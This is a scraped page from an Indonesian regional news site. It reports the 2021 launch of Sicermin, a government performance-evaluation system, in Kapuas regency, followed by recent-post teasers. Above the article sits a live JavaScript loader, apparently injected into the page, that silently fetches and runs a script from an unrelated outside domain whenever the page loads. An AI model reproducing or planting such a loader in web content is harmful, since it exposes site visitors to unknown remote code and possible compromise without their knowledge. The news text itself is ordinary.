(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Launching Sicermin, Ini Komentar Bupati Kapuas Ben Brahim


KANALKALIMANTAN.COM, KUALA KAPUAS – Bupati Kapuas Ir Ben Brahim S Bahat MM MT secara langsung membuka Launching dan Bimbingan Teknis (Bimtek) Sistem Informasi Cepat Evaluasi Kinerja Manajemen Instansi Pemerintah (Sicermin) sinkronisasi perubahan renstra perangkat daerah tahun 2018-2023, Kamis (9/9/2021).

Hadir dalam acara Sekretaris Daerah Kabupaten Kapuas Drs Septedy, Kepala Bappeda Kapuas Saribi, sejumlah Kepala Organisasi Perangkat Daerah (OPD) dan Camat se Kabupaten Kapuas.

Bupati Kapuas Ir Ben Brahim S Bahat mengatakan bahwa kunci dan fungsi dari Sicermin ini yaitu adanya komitmen dari Kepala OPD, Camat serta seluruh instansi yang terkait untuk berperan aktif dalam hal perencanaan, penganggaran dan evaluasi.

Melakukan koordinasi yang baik dengan stakeholder, sehingga integritas pada evaluasi tingkat perencanaan, pengendalian dan Sakip di Kabupaten Kapuas dapat dibentuk.

 

 

Baca juga : Oksigen di RSUD Jarse Masih Aman 

“Saya harapkan agar bimbingan teknik dipelajari dengan baik untuk salah satu faktor dalam melaksanakan tugas agar bisa lebih tertib lagi dalam hal perencanaan, pengendalian dan Sakip. Sicermin memperbaiki sistem kerja kita, untuk mencapai apa yang kita inginkan dan kita harapkan kedepannya,” ungkap Bupati Kapuas.

Kepala Bappeda Kapuas Saribi dalam laporannya menyampaikan, sehubungan dengan telah disetujuinya Rancangan Peraturan Daerah (Raperda) Perubahan Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Kabupaten Kapuas tahun 2018-2023, maka perlu adanya asistensi penyusunan perubahan Raperda dan penginputan pada sistem informasi cepat evaluasi kinerja manajemen instansi pemerintah.

“Saya meminta dukungan dari Bapak Bupati Kapuas, seluruh Kepala OPD, Camat serta seluruh instansi, untuk Bimtek Sicermin ini kita akan laksanakan mulai tanggal 13-16 September 2021 dan ini sebagai implementasi rencana Peraturan Bupati tentang Manajemen Integritas perencanaan, pengendalian, evaluasi dan Sakip di Kabupaten Kapuas,” tutur Saribi. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

21 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

2 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

2 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.